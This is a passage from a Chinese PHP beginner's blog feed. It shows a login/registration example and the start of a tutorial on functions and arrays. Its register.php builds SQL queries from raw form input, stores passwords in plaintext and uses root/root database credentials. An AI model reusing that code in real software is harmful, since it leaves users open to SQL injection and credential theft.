class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>register.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>注册页面<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">"text/css"</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">form &#123; </span></span><br><span class="line"><span class="undefined">text-align: center; </span></span><br><span class="line"><span class="undefined">&#125; </span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">"post"</span> <span class="attr">action</span>=<span class="string">"register.php"</span>&gt;</span></span><br><span class="line">　　用户名：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">'username'</span> <span class="attr">maxlength</span>=<span class="string">"20"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">请设置密码：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">name</span>=<span class="string">'password1'</span> <span class="attr">maxlength</span>=<span class="string">"18"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">请确认密码：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"password"</span> <span class="attr">name</span>=<span class="string">'password2'</span> <span class="attr">maxlength</span>=<span class="string">"18"</span>/&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">value</span>=<span class="string">"立即注册"</span> <span class="attr">name</span>=<span class="string">"submit"</span> <span class="attr">style</span>=<span class="string">"margin-left:99px; margin-right:0px;padding-left:60px;padding-right:57px;"</span>/&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>register.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">header(<span class="string">'content-type:text/html;charset=utf-8'</span>);</span><br><span class="line">error_reporting(E_ALL ^ E_NOTICE);</span><br><span class="line"><span class="keyword">if</span> ( ( $_POST[<span class="string">'username'</span>] != <span class="keyword">null</span> ) &amp;&amp; ( $_POST[<span class="string">'password1'</span>] != <span class="keyword">null</span> ) &amp;&amp; ( $_POST[<span class="string">'password2'</span>] != <span class="keyword">null</span> ))&#123;</span><br><span class="line">$userName = $_POST[<span class="string">'username'</span>];</span><br><span class="line">$password1 = $_POST[<span class="string">'password1'</span>];</span><br><span class="line">$password2 = $_POST[<span class="string">'password2'</span>];</span><br><span class="line">$con = mysqli_connect(<span class="string">"localhost"</span>,<span class="string">"root"</span>,<span class="string">"root"</span>);</span><br><span class="line">mysqli_select_db($con,<span class="string">"ymh"</span>);</span><br><span class="line">$sql1 = <span class="string">"select * from user where username = '&#123;$userName&#125;' "</span>;</span><br><span class="line">$res = mysqli_query($con,$sql1);</span><br><span class="line">$row = mysqli_num_rows($res);</span><br><span class="line"><span class="keyword">if</span>($row&gt;<span class="number">0</span>)&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名已存在！');location.href = 'register.html';&lt;/script&gt;"</span>;</span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">if</span>($password1!==$password2)&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('两次输入的密码不一致！');location.href = 'register.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">$sql2=<span class="string">"insert into user(username,password) values ('$userName','$password1')"</span>;</span><br><span class="line"><span class="keyword">if</span>(mysqli_query($con,$sql2))&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('注册成功！');location.href = 'login.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('注册失败！');location.href = 'register.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span><span class="string">"&lt;script&gt;alert('用户名和密码不能为空！');location.href = 'register.html';&lt;/script&gt;"</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>welcome.html</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>欢迎登陆<span class="tag">&lt;/<span class="name">title</span>&gt;</span> </span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>Hello World<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;使用工具：PHPstudy&lt;/p&gt;
&lt;p&gt;打开PHPstudy，进入WWW目录，我是建了3个html文件和2个php文件，分别是login.html（登录页面）、enter.php（登录后台判断）、register.html（注册页面）、register.php（注册后台判断）、welcome.html（登陆成功后欢迎界面）。第一次做web页面，很简陋……代码：&lt;/p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>PHP函数、数组和字符串处理</title>
    <link href="http://yoursite.com/2019/04/11/PHP%E5%87%BD%E6%95%B0%E3%80%81%E6%95%B0%E7%BB%84%E5%92%8C%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%A4%84%E7%90%86/"/>
    <id>http://yoursite.com/2019/04/11/PHP函数、数组和字符串处理/</id>
    <published>2019-04-11T08:15:51.000Z</published>
    <updated>2019-06-16T12:37:39.984Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-函数（一）：自定义函数"><a href="#1-函数（一）：自定义函数" class="headerlink" title="1.函数（一）：自定义函数"></a>1.函数（一）：自定义函数</h2><p><br>1）基本格式：</p><p>function&nbsp;函数名（参数1，…，参数n[可以省略]）{<br>        函数体；//任何有效的PHP代码<br>        return&nbsp;值；//也可以不返回值<br>    }<br><a id="more"></a>    函数名（）；//函数的调用，函数名与上面一致</p><p>2）参数：</p><p>​    分为形式参数和实际参数，形式参数由零个、一个或多个变量组成，实际参数由零个、一个或多个参数组成，每个参数是一个表达式用逗号隔开。例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">add</span><span class="params">($a,$b)</span></span>&#123;<span class="comment">//形式参数，没有具体的值。</span></span><br><span class="line">    <span class="keyword">echo</span> $a+$b;</span><br><span class="line">&#125;</span><br><span class="line">add(<span class="number">10</span>,<span class="number">20</span>);<span class="comment">//实际参数，输出30。</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;br&gt;'</span>;</span><br><span class="line">$i=<span class="number">100</span>;</span><br><span class="line">add($i,<span class="number">20</span>);<span class="comment">//输出120</span></span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//实际参数和形式参数要一一对应。</span></span><br></pre></td></tr></table></figure><p>3）返回值：如果不写则函数默认返回值为null，例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">add</span><span class="params">($a,$b)</span></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $a+$b;<span class="comment">//返回值给调用的地方，结束函数运行</span></span><br><span class="line">&#125;</span><br><span class="line">var_dump(add(<span class="number">10</span>,<span class="number">20</span>));<span class="comment">//输出int 30。</span></span><br><span class="line">$i=add(<span class="number">10</span>,<span class="number">20</span>);</span><br><span class="line"><span class="keyword">echo</span> $i;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//输出30</span></span><br></pre></td></tr></table></figure><h2 id="2-函数（二）：PHP变量范围"><a href="#2-函数（二）：PHP变量范围" class="headerlink" title="2.函数（二）：PHP变量范围"></a>2.函数（二）：PHP变量范围</h2><p><br>1）局部变量：在函数内定义，作用仅限于函数内部。</p><p>function&nbsp;test（）{<br>    $a=1；//局部变量，仅在这个函数内部有效<br>    }<br>    echo&nbsp;$a；//错误，无输出。</p><p>2）全局变量：在函数外定义，作用域从变量定义到本程序结尾，在PHP函数中无法直接使用，需用global声明变量。</p><p> $i=10；//全局变量<br>    define（’MY_NAME’，’袁’）；<br>    function&nbsp;test（）{<br>    echo&nbsp;MY_NAME；<br>    global&nbsp;$i；<br>    echo&nbsp;$i；<br>    }<br>    test（）；//输出袁、10。</p><p>3）静态变量：在函数内部定义变量时候使用static定义变量，静态变量仅在第一次执行函数的时候会初始化值。</p><p>function&nbsp;test（）{<br>        static&nbsp;$a=10；//静态变量，初始化静态变量，仅在第一次使用执行。<br>        echo&nbsp;++$a；<br>    }<br>    test（）；//输出11<br>    echo&nbsp;’&lt; br&gt;’；<br>    test（）；//输出12<br>    echo’&lt; br&gt;’；<br>    test（）；//输出13</p><h2 id="3-函数（三）：参数传递，可变函数"><a href="#3-函数（三）：参数传递，可变函数" class="headerlink" title="3.函数（三）：参数传递，可变函数"></a>3.函数（三）：参数传递，可变函数</h2><p><br>1）函数的传递</p><p>按值传递参数（默认方式）：对形式参数的操作，不会影响到实际参数（变量）的值，两者没有联系。例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">($a)</span></span>&#123;</span><br><span class="line"><span class="keyword">echo</span> ++$a;</span><br><span class="line">&#125;</span><br><span class="line">$i=<span class="number">10</span>;</span><br><span class="line">test($i);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;br&gt;'</span>.$i;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//输出11、10</span></span><br></pre></td></tr></table></figure><p>按引用传递参数：相当于形式参数和实际参数指的是同一个人，只是名字不一样，对于形式参数的操作会直接影响到实际参数（变量）。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">(&amp;$a)</span></span>&#123;</span><br><span class="line"><span class="keyword">echo</span> ++$a;</span><br><span class="line">&#125;</span><br><span class="line">$i=<span class="number">10</span>;</span><br><span class="line">test($i);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;br&gt;'</span>.$i;</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//输出11、11</span></span><br></pre></td></tr></table></figure><p>函数的默认参数：可以给形式参数设置默认值，设置方法直接赋值即可。给形式参数加默认值时是从右往左加的，右边的必须有，才能给左边加。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">($a=<span class="number">10</span>,$b=<span class="number">20</span>)</span></span>&#123;</span><br><span class="line"><span class="keyword">echo</span> $a+$b;</span><br><span class="line">&#125;</span><br><span class="line">test(<span class="number">20</span>,<span class="number">20</span>);</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//输出40</span></span><br></pre></td></tr></table></figure><p>可变长度参数列表：PHP有提供给我们的函数，可直接使用。func_get_args()；func_get_arg()；func_num_args()；这三个函数可以使用在我们的自定义函数内部，返回一些关于参数的信息。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">()</span></span>&#123;</span><br><span class="line">    var_dump(func_get_args());<span class="comment">//返回一个数组类型，将实参列举出来</span></span><br><span class="line">    var_dump(func_get_arg(<span class="number">3</span>));<span class="comment">//传入一个值表示获取第几个实参（从0开始）</span></span><br><span class="line">    var_dump(func_num_args());<span class="comment">//返回传入所在自定义函数的参数个数</span></span><br><span class="line">&#125;</span><br><span class="line">test(<span class="number">12</span>,<span class="number">9</span>,<span class="string">'wasd'</span>,<span class="string">'袁'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>2）可变函数（变量函数）</p><p>可变函数不能用于例如 echo，print，unset()，isset()，empty()，include，require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">'我是test函数'</span>;</span><br><span class="line">&#125;</span><br><span class="line">$a=<span class="string">'test'</span>;<span class="comment">//把函数名赋值给变量</span></span><br><span class="line">$a();<span class="comment">//相当于test();</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h2 id="4-函数（四）：递归函数和内部（内置）函数"><a href="#4-函数（四）：递归函数和内部（内置）函数" class="headerlink" title="4.函数（四）：递归函数和内部（内置）函数"></a>4.函数（四）：递归函数和内部（内置）函数</h2><p><br>1）递归函数</p><p>递归函数即在函数内部自己调用自己的函数，函数在被调用的执行过程中会在内存里面分配空间用于存储临时数据，那么函数在执行过程中默认之间是没有联系的（除了静态变量、按引用传、全局变量），里面的变量默认都是局部变量，相互之间没有影响！递归函数，在函数的内部需要有适时结束函数运行的条件！</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">($n)</span></span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> $n.<span class="string">'&amp;nbsp;'</span>;</span><br><span class="line">    <span class="keyword">if</span>($n&gt;<span class="number">0</span>)&#123;</span><br><span class="line">        test($n<span class="number">-1</span>);<span class="comment">//自己内部调用自己，即递归函数</span></span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span><span class="string">'&lt;--&gt;'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">echo</span> $n.<span class="string">'&amp;nbsp;'</span>;</span><br><span class="line">&#125;</span><br><span class="line">test(<span class="number">3</span>);</span><br><span class="line"><span class="meta">?&gt;</span><span class="comment">//输出3 2 1 0 &lt;--&gt; 0 1 2 3</span></span><br></pre></td></tr></table></figure><p>2）内部（置）函数</p><p>PHP提供给我们许多现成的函数或者结构，比如：echo（）、include（）、include_once（）、require（）、require_once（），上面这些可以省略括号，严格意义上不是函数，所以这些不能赋值给另外的变量。还有一些函数需要开启特定的PHP扩展模块，否则在使用的时候会出现“未定义函数”的错误。只需要记一些常用的内部函数和扩展函数，其他有需要再去找对应函数。</p><h2 id="5-数组（一）：理解数组和创建数组"><a href="#5-数组（一）：理解数组和创建数组" class="headerlink" title="5.数组（一）：理解数组和创建数组"></a>5.数组（一）：理解数组和创建数组</h2><p><br>1）数组分类：</p><p>索引数组：索引值（相当于给里面的每一个数据起个名字）为整数的数组。</p><p>关联数组：索引值为字符串的数组，使用字符串作为索引。</p><p>2）数组创建：PHP数组与其他编程语言不同的是PHP不需要在创建数组时，指定数组大小甚至不需要在使用数组之前声明，也可以在同一个数组中存储任何类型的数据。</p><p>（1）$student[索引值]=具体的值；</p><p>如果省略索引值那么默认索引值就是整数，并且从0开始，依次递增。如：$student[0]=10；$student[1]=’袁’；…相当于$student[&nbsp;]=10；$student[&nbsp;]=’袁’；使用printf_r（$student）；输出。</p><p>（2）$student=array（索引值=&gt;具体值，……）；</p><p>例：$student1=array（<br>            0=&gt;10，<br>            1=&gt;’袁1’，<br>            2=&gt;true，<br>            3=&gt;60.5<br>        ）；//索引数组<br>或$student2=array（<br>            ‘num’=&gt;10，<br>            ‘name’=&gt;’袁2’，<br>            ‘sex’=&gt;true，<br>            ‘grade’=&gt;60.5<br>        ）；//关联数组<br>        或$student3=array（<br>            0=&gt;array(1,’小明’,true,70.5)，<br>            1=&gt;array(2,’小强’,true,75.5)，<br>            2=&gt;array(3,’小红’,false,80.5)<br>        ）；//二维数组</p><p>多维数组访问数值方法：变量名称[索引值][索引值]</p><h2 id="6-数组（二）：遍历数组"><a href="#6-数组（二）：遍历数组" class="headerlink" title="6.数组（二）：遍历数组"></a>6.数组（二）：遍历数组</h2><p><br>1）for循环：用得少只能用于索引数组。</p><p>2）foreach语句实现遍历数组目的，格式：</p><p>foreach（数组变量&nbsp;as&nbsp;变量1=&gt;变量2）{<br>        每次循环执行的语句<br>        变量1代表当前正在访问的数据的索引值<br>        变量2代表当前正在访问的数据<br>    }</p><p>实例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$student=<span class="keyword">array</span>(</span><br><span class="line"><span class="keyword">array</span>(<span class="string">'小明'</span>,<span class="number">1</span>,<span class="keyword">true</span>,<span class="number">60.5</span>),</span><br><span class="line"><span class="keyword">array</span>(<span class="string">'小强'</span>,<span class="number">2</span>,<span class="keyword">true</span>,<span class="number">70.5</span>),</span><br><span class="line"><span class="keyword">array</span>(<span class="string">'小红'</span>,<span class="number">3</span>,<span class="keyword">false</span>,<span class="number">80.5</span>)</span><br><span class="line">);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;table border=1&gt;'</span>;</span><br><span class="line"><span class="keyword">foreach</span>($student <span class="keyword">as</span> $val)&#123;</span><br><span class="line">    <span class="keyword">if</span>($val[<span class="number">2</span>]===<span class="keyword">true</span>)&#123;</span><br><span class="line">        $val[<span class="number">2</span>]=<span class="string">'男'</span>;</span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">        $val[<span class="number">2</span>]=<span class="string">'女'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"&lt;tr&gt;&lt;td&gt;&#123;$val[0]&#125;&lt;/td&gt;&lt;td&gt;&#123;$val[1]&#125;&lt;/td&gt;&lt;td&gt;&#123;$val[2]&#125;&lt;/td&gt;&lt;td&gt;&#123;$val[3]&#125;&lt;/td&gt;&lt;/tr&gt;"</span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'&lt;/table&gt;'</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h2 id="7-数组（三）：预定义超全局数组"><a href="#7-数组（三）：预定义超全局数组" class="headerlink" title="7.数组（三）：预定义超全局数组"></a>7.数组（三）：预定义超全局数组</h2><p><br>预定义数组变量：已经定义好（存在）的变量（存放的数据的类型是数组）。<a href="https://www.php.net/manual/zh/language.variables.superglobals.php" target="_blank" rel="noopener">超全局变量</a></p><p>传递（提交）数据给服务器的两种方式<strong>：</strong></p><p>get方式：格式：url地址？参数名=参数值&amp;参数名=参数值……，在服务器端（请求的php文件这边）可以通过$_GET来获取到，$_GET索引值为参数名，索引值对应的数据就是参数值。</p><p>post方式：比如表单、post发送过来的。可以通过$_POST来获取到。例：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta">&lt;?php</span></span></span><br><span class="line"><span class="php">$_POST;</span></span><br><span class="line"><span class="php"><span class="meta">?&gt;</span></span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE html&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"utf-8"</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>预定义超全局变量<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">method</span>=<span class="string">"post"</span>&gt;</span></span><br><span class="line">姓名：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">'username'</span> /&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line">性别：<span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">name</span>=<span class="string">'sex'</span> /&gt;</span><span class="tag">&lt;<span class="name">br</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">"submit"</span> <span class="attr">value</span>=<span class="string">'提交'</span> /&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="8-数组（四）：处理数组的相关函数"><a href="#8-数组（四）：处理数组的相关函数" class="headerlink" title="8.数组（四）：处理数组的相关函数"></a>8.数组（四）：处理数组的相关函数</h2><p><br><a href="http://www.w3school.com.cn/php/php_ref_array.asp" target="_blank" rel="noopener">数组函数</a> 部分函数举例：</p><p>1）array_count_values（）：用于统计数组中所有值出现的次数。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$array = <span class="keyword">array</span>(<span class="number">1</span>, <span class="string">"hello"</span>, <span class="number">1</span>, <span class="string">"world"</span>, <span class="string">"hello"</span>)；$arr=array_count_values($array)；<span class="comment">//函数返回数组类型的数据print_r($array);</span></span><br></pre></td></tr></table></figure><p>2）array_key_exists（）：检查指定的键名是否存在于数组中。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$search_array = <span class="keyword">array</span>(<span class="string">'first'</span> =&gt; <span class="number">1</span>, <span class="string">'second'</span> =&gt; <span class="number">4</span>);</span><br><span class="line">var_dump(array_key_exists(<span class="string">'second'</span>,$search_array));</span><br></pre></td></tr></table></figure><p>3）array_search（）：搜索数组中给定的值并返回键名。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$array = <span class="keyword">array</span>(<span class="number">0</span> =&gt; <span class="string">'blue'</span>, <span class="number">1</span> =&gt; <span class="string">'red'</span>, <span class="number">2</span> =&gt; <span class="string">'green'</span>, <span class="number">3</span> =&gt; <span class="string">'red'</span>,<span class="number">4</span>=&gt;<span class="number">15</span>);</span><br><span class="line">var_dump(array_search(<span class="string">'15'</span>, $array,<span class="keyword">true</span>));</span><br></pre></td></tr></table></figure><p>4）count（）：返回数组中元素的数目。         </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$array = <span class="keyword">array</span>(<span class="number">0</span> =&gt; <span class="string">'blue'</span>, <span class="number">1</span> =&gt; <span class="string">'red'</span>, <span class="number">2</span> =&gt; <span class="string">'green'</span>, <span class="number">3</span> =&gt;   <span class="string">'red'</span>,<span class="number">4</span>=&gt;<span class="number">15</span>);</span><br><span class="line">var_dump(count($array));</span><br></pre></td></tr></table></figure><p>5）in_array（）：检查数组中是否存在指定的值。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$os = <span class="keyword">array</span>(<span class="string">"Mac"</span>, <span class="string">"NT"</span>, <span class="string">"Irix"</span>, <span class="string">"Linux"</span>);</span><br><span class="line">var_dump(in_array(<span class="string">'Mac'</span>, $os));</span><br></pre></td></tr></table></figure><p>6）list（）：把数组中的值赋给一些变量。        </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$arr=<span class="keyword">array</span>(<span class="number">60</span>,<span class="number">80</span>,<span class="number">100</span>);</span><br><span class="line"><span class="keyword">list</span>($xiaoqiang,$xiaohong,$xiaoming)=<span 